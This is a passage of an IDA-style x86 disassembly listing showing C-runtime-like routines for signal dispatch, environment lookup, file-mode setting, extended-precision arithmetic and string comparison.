		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25D07F5h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25D07F5h
		nop
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25D0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
